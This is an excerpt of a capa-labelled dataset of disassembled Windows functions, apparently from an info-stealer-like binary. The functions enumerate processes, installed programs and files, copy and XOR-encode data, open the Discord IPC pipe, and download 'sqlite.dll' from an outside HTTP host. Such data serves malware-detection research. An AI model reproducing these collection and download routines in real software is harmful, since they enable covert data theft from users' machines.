joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013f64
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x1d8]
sub rsp, 0x2d0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140013fca
lea rdx, str.Failed_to_retrieve_the_list_of_running_processes.
lea rcx, [0x1400495a0]
call fcn.1400095b0
mov rcx, rax
call fcn.14000b8d0
jmp 0x1400140a4
lea rdx, [rsp + 0x30]
mov rcx, rax
mov dword [rsp + 0x30], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140014093
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x170]
call fcn.140004f40
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x170]
call fcn.14000a710
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x170]
mov rbx, rax
call fcn.14000a6ec
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x198]
call fcn.14000a82c
lea rdx, str.Process_ID:
mov rcx, rsi
mov rbx, rax
call fcn.1400095b0
mov edx, dword [rsp + 0x38]
mov rcx, rax
call fcn.14000b8d8
lea rdx, str.__Name:
mov rcx, rax
call fcn.1400095b0
mov rdx, rbx
mov rcx, rax
call fcn.1400097b0
mov rcx, rax
call fcn.14000b8d0
lea rcx, [rbp + 0x198]
call fcn.140004e88
lea rcx, [rbp + 0x170]
call fcn.140004f98
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140013fe5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140014144
Capabilities:
Get installed programs
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
lea rax, [rsp + 0x48]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionUninstall
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001434e
lea r8d, [rax + 2]
lea rdx, str.Installed_Apps.txt
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], 0xff
call fcn.140011060
lea rcx, [rsp + 0x70]
call fcn.1400149d0
test al, al
je 0x140014339
xor edi, edi
and qword [rsp + 0x38], rdi
and qword [rsp + 0x30], rdi
and qword [rsp + 0x28], rdi
and qword [rsp + 0x20], rdi
xor edx, edx
jmp 0x14001430d
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
lea rdx, [rbp + 0xd0]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400142e9
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [0x14003dde0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2d0]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 0xff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400142de
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x80]
call fcn.140004f40
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x80]
call fcn.14000a710
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
mov rbx, rax
call fcn.14000a6ec
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xa8]
call fcn.14000a82c
lea rdx, [0x14003ddf8]
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.1400095b0
mov rdx, rbx
mov rcx, rax
call fcn.1400097b0
mov rcx, rax
call fcn.14000b8d0
lea rcx, [rbp + 0xa8]
call fcn.140004e88
lea rcx, [rbp + 0x80]
call fcn.140004f98
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
inc edi
and qword [rsp + 0x20], 0
mov dword [rsp + 0x40], 0xff
mov edx, edi
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
lea r8, [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
jne 0x1400141ea
lea rcx, [rsp + 0x70]
call fcn.140006208
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x70]
call fcn.14000417c
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140014374
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r13, rdx
mov rsi, r8
mov r12, rcx
mov rdx, rcx
lea r8, str..
lea rcx, [rbp - 0x40]
call fcn.140009294
lea rcx, [rbp - 0x40]
call fcn.140004fa4
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400144dd
test byte [rbp - 0x10], 0x10
jne 0x1400144bf
lea rdx, [rbp + 0x1c]
lea rcx, [rsp + 0x20]
call fcn.140004f40
xor ebx, ebx
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea rdx, [rsi + rcx*8]
lea rcx, [rsp + 0x20]
call fcn.140014a24
test al, al
jne 0x14001441e
inc ebx
cmp ebx, 4
jl 0x1400143f9
jmp 0x1400144b5
lea r8, [0x14003dc0c]
lea rcx, [rsp + 0x48]
mov rdx, r12
call fcn.140009294
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.1400149dc
lea rcx, [rsp + 0x48]
call fcn.140004f98
lea r8, [0x14003dc1c]
lea rcx, [rsp + 0x48]
mov rdx, r13
call fcn.140009294
lea r8, [rsp + 0x20]
lea rcx, [rbp - 0x68]
mov rdx, rax
call fcn.1400149dc
lea rcx, [rsp + 0x48]
call fcn.140004f98
lea rcx, [rbp - 0x68]
call fcn.140004fa4
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.140004fa4
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp - 0x68]
call fcn.140004f98
lea rcx, [rsp + 0x70]
call fcn.140004f98
lea rcx, [rsp + 0x20]
call fcn.140004f98
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400143df
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rbp - 0x40]
call fcn.140004f98
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0x398]
add rsp, 0x350
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001487c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140014897
xor al, al
jmp 0x14001489d
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x1400148a4
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov r8, rcx
jmp 0x1400148c0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rbx
and qword [rsp + 0x20], 0
lea rdx, str.http:__4382.bimmobil.xyz_tools_sqlite.dll
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400148b2
mov al, 1
add rsp, 0x30
pop rbx
ret

Function at 0x140014b40
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x3cd0
call fcn.14001f210
sub rsp, rax
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x3cc0], rax
mov rsi, rcx
mov rcx, r8
mov rbx, rdx
call fcn.140004fac
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov r8, rax
call fcn.140014e20
mov rcx, rbx
call fcn.140004eec
lea rdx, [0x14003daa0]
mov rcx, rax
call fcn.14001eb9c
mov rbx, rax
test rax, rax
je 0x140014c77
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x24]
call fcn.14001f110
lea rcx, [rsp + 0x50]
call fcn.140004eec
or dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], 8
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [rsp + 0x78]
mov rdx, rax
xor r9d, r9d
mov rcx, rsi
call fcn.140017400
test eax, eax
jne 0x140014c6f
lea rcx, [rsp + 0xa0]
mov r9, rbx
mov edx, 1
mov r8d, 0x3c18
call fcn.14001ee88
mov rdi, rax
cmp rax, 0x3c18
jae 0x140014c36
mov rcx, rbx
call fcn.14001ea74
test eax, eax
jne 0x140014c54
mov rcx, rbx
call fcn.14001ea9c
test eax, eax
jne 0x140014c67
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140016300
test eax, eax
js 0x140014c67
test rdi, rdi
je 0x140014c67
jmp 0x140014bf8
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140016300
mov rcx, rsi
call fcn.140016c20
mov rcx, rbx
call fcn.14001e084
lea rcx, [rsp + 0x50]
call fcn.140004e88
mov rcx, qword [rsp + 0x3cc0]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x3cd0
pop rdi
pop rsi
pop rbx
ret
Function at 0x140014c9c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x30], rcx
lea r8, [0x14003daa4]
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x38], rdx
call fcn.14000a74c
lea rcx, [rsp + 0x68]
call fcn.140004eec
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140014daf
lea rsi, [rbp - 0x14]
lea rdi, [0x14003daac]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x140014d91
lea rsi, [rbp - 0x14]
lea rdi, [0x14003dab0]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x140014d91
mov rdx, qword [rsp + 0x38]
lea r8, [0x14003dab4]
lea rcx, [rbp - 0x70]
call fcn.14000a74c
lea r8, [rbp - 0x14]
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.14000e5d4
lea rcx, [rbp - 0x70]
call fcn.140004e88
test byte [rbp - 0x40], 0x10
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
je 0x140014d82
mov r9b, byte [rsp + 0x20]
call fcn.140014c9c
jmp 0x140014d87
call fcn.140014b40
lea rcx, [rsp + 0x40]
call fcn.140004e88
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140014d0a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x68]
call fcn.140004e88
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x218
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x140014eb0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov qword [rsp + 8], rbx
mov r10d, dword [rcx]
mov ebx, r8d
mov r8, rcx
mov eax, ebx
mov r9d, r10d
mov r11, rdx
xor r9, rax
shr r10d, 8
movzx eax, r9b
mov r9d, dword [rdx + rax*4]
mov edx, dword [rcx + 8]
xor r9d, r10d
mov dword [rcx], r9d
movzx eax, r9b
add eax, dword [rcx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [rcx + 4], eax
mov ecx, eax
shr ecx, 0x18
xor rcx, rdx
shr edx, 8
movzx eax, cl
mov eax, dword [r11 + rax*4]
xor eax, edx
mov dword [r8 + 8], eax
mov eax, ebx
mov rbx, qword [rsp + 8]
ret
Function at 0x140014f80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push r15
sub rsp, 0x48
mov rbp, r9
mov r15, rcx
cmp r8d, 0xc
jge 0x140014fa2
xor eax, eax
add rsp, 0x48
pop r15
pop rbp
ret
mov eax, dword [0x14004a220]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
inc eax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r14
mov dword [0x14004a220], eax
cmp eax, 1
jne 0x140014fe6
xor ecx, ecx
call fcn.14001f058
xor eax, 0xbb40e64e
mov ecx, eax
call fcn.14001f0b8
mov r12, qword [rsp + 0x80]
mov rdx, rbp
mov rcx, r15
mov r8, r12
call fcn.140014f10
mov r13d, 0xa
lea rsi, [rsp + 0x20]
mov r14d, r13d
nop word [rax + rax]
call fcn.14001f0d0
mov rcx, rbp
sar eax, 7
movzx edi, al
call fcn.140014e90
mov r8d, edi
mov rdx, r12
mov ebx, eax
call fcn.140014eb0
xor dil, bl
inc rsi
dec r14
mov byte [rsi - 1], dil
jne 0x140015010
mov r8, r12
mov rdx, rbp
mov rcx, r15
call fcn.140014f10
mov r15, qword [rsp + 0x68]
lea rax, [rsp + 0x20]
mov r14, r15
lea rsi, [rsp + 0x20]
sub r14, rax
mov rcx, rbp
call fcn.140014e90
movzx edi, byte [rsi]
mov rdx, r12
mov r8d, edi
mov ebx, eax
call fcn.140014eb0
xor dil, bl
inc rsi
dec r13
mov byte [r14 + rsi - 1], dil
jne 0x140015062
mov rcx, rbp
call fcn.140014e90
mov esi, dword [rsp + 0x88]
mov rdx, r12
mov ebx, esi
mov edi, eax
shr ebx, 0x10
movzx r8d, bl
call fcn.140014eb0
xor bl, dil
mov rcx, rbp
mov byte [r15 + 0xa], bl
call fcn.140014e90
shr esi, 0x18
mov r8d, esi
mov rdx, r12
mov ebx, eax
call fcn.140014eb0
mov r14, qword [rsp + 0x30]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x78]
xor sil, bl
mov rbx, qword [rsp + 0x60]
mov byte [r15 + 0xb], sil
mov rsi, qword [rsp + 0x70]
lea eax, [r13 + 0xc]
mov r13, qword [rsp + 0x38]
add rsp, 0x48
pop r15
pop rbp
ret

Function at 0x140016210
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
cmp dword [rcx + 0x10108], 0
mov rsi, rcx
je 0x140016293
mov qword [rsp + 0x30], rbp
xor ebp, ebp
cmp dword [rcx + 0xd4], ebp
jbe 0x14001628e
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r12
lea rdi, [rcx + 0x100]
nop word [rax + rax]
lea rcx, [rsi + 0x10128]
call fcn.140014e90
movzx r8d, byte [rdi]
mov rdx, qword [rsi + 0x10138]
lea rcx, [rsi + 0x10128]
mov ebx, eax
call fcn.140014eb0
xor byte [rdi], bl
inc ebp
inc rdi
cmp ebp, dword [rsi + 0xd4]
jb 0x140016250
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r9d, dword [rsi + 0xd4]
mov rdx, qword [rsi + 0x58]
mov rcx, qword [rsi + 0x38]
mov ebx, dword [rsi + 0xd4]
lea r8, [rsi + 0x100]
call qword [rsi + 0x10]
or ecx, 0xffffffff
xor edx, edx
cmp eax, ebx
mov dword [rsi + 0xd4], 0
cmovne edx, ecx
mov ecx, dword [rsi + 0x84]
add qword [rsi + 0x10118], rbx
mov rbx, qword [rsp + 0x48]
add qword [rsi + 0x10120], rcx
mov dword [rsi + 0x84], 0
mov eax, edx
add rsp, 0x20
pop rsi
ret
Function at 0x14001f93b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140048490]
jne 0x14001c0da
rol rcx, 0x10
test cx, 0xffff
jne 0x14001c0d6
repz ret
ror rcx, 0x10
jmp 0x14001f894
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14004a310]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14004a408]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001f919
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14004a310]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001f93b
mov rax, qword [rsp + 0x88]
mov qword [0x14004a408], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14004a3a8], rax
mov rax, qword [0x14004a408]
mov qword [0x14004a280], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14004a390], rax
mov dword [0x14004a270], 0xc0000409
mov dword [0x14004a274], 1
mov rax, qword [0x140048490]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140048498]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14004a308], eax
mov ecx, 1
call fcn.1400272bc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140039f80]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14004a308], 0
jne 0x14001f9c2
mov ecx, 1
call fcn.1400272bc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400298f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400227c0
xor ebx, ebx
cmp qword [0x14004b3c8], rbx
mov rdi, rax
jne 0x140029a03
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140029ada
lea rdx, [0x14003c348]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140029ada
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14004b3c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14004b3d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14004b3d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14004b3e8], rax
test rax, rax
je 0x1400299fa
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14004b3e0], rax
jmp 0x140029a0a
mov rax, qword [0x14004b3e0]
jmp 0x140029a11
mov rax, qword [0x14004b3e0]
mov r11, qword [0x14004b3e8]
cmp rax, rdi
je 0x140029a78
cmp r11, rdi
je 0x140029a78
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14004b3e8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140029a78
test rax, rax
je 0x140029a78
call rsi
test rax, rax
je 0x140029a72
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140029a72
test byte [rsp + 0x40], 1
jne 0x140029a78
bts ebp, 0x15
jmp 0x140029ab8
mov rcx, qword [0x14004b3d0]
cmp rcx, rdi
je 0x140029ab8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140029ab8
call rax
mov rbx, rax
test rax, rax
je 0x140029ab8
mov rcx, qword [0x14004b3d8]
cmp rcx, rdi
je 0x140029ab8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140029ab8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14004b3c8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140029ada
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140029adc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000b9fc
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b77c
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba52
mov ecx, 1
call fcn.14000b77c
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
test al, 0x4c
and eax, 0x3215b171
fidivr word [rcx + 0x4fafee08]
sbb edi, edi
invalid
mov esp, 0x5ba8a7a
imul eax, dword [rcx + 0x1e], 0xffffffb8
and dword [rbp + 0x74f7a9af], ebx
mov cl, 0xea
in al, 5
sub al, 0x45
sbb dword [rcx + 0x26], edx
jp 0x1400232b2
sbb eax, 0xd2ac5eb4
or cl, 0x76
movabs dword [0x7bebf02a657dbe43], eax
dec dword [rcx - 0x6f]
push rsi
retf 0x49cb
Function at 0x140002270
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov eax, dword [0x140090fc8]
xor edi, edi
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov dword [rsp + 0x68], eax
mov rbx, rcx
movzx eax, word [0x140090fcc]
lea rcx, [rsp + 0x40]
movups xmm1, xmmword [0x140090fb0]
mov word [rsp + 0x6c], ax
mov eax, Ordinal_50
movups xmmword [rsp + 0x40], xmm0
xor r9d, r9d
mov qword [rsp + 0x30], rdi
movsd xmm0, qword [0x140090fc0]
xor r8d, r8d
mov dword [rsp + 0x28], edi
mov edx, 0xc0000000
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x6a], ax
movups xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x140002362
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140002316
movzx eax, word [rsp + 0x6a]
cmp ax, 0x39
jae 0x140002375
inc ax
mov word [rsp + 0x6a], ax
jmp 0x140002331
cmp eax, 0xe7
jne 0x140002375
mov edx, 0x2710
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
test eax, eax
je 0x140002375
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], edi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400022f6
mov byte [rbx], 1
mov al, 1
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
mov rbx, qword [rsp + 0x80]
xor al, al
add rsp, 0x70
pop rdi
ret

Function at 0x140002390
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
test rdx, rdx
je 0x140002451
test rcx, rcx
je 0x140002451
mov rcx, qword [rcx + 8]
cmp rcx, 0xffffffffffffffff
je 0x140002451
xor ebp, ebp
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rsp + 0x58], ebp
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x14000243c
mov eax, dword [rsp + 0x58]
cmp rax, rdi
jb 0x140002451
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0x68]
mov r8d, edi
mov dword [rsp + 0x68], ebp
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x140002425
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov rcx, rbx
call fcn.140002220
xor al, al
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
mov byte [rbx], bpl
mov rbx, qword [rsp + 0x50]
xor al, al
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002460
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, r8
test r8, r8
jne 0x140002476
mov al, 1
add rsp, 0x30
pop rbx
ret
test rcx, rcx
je 0x1400024ab
mov rcx, qword [rcx + 8]
cmp rcx, 0xffffffffffffffff
je 0x1400024ab
test rdx, rdx
je 0x1400024ab
xor eax, eax
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x1400024ab
cmp dword [rsp + 0x50], ebx
je 0x14000246e
xor al, al
add rsp, 0x30
pop rbx
ret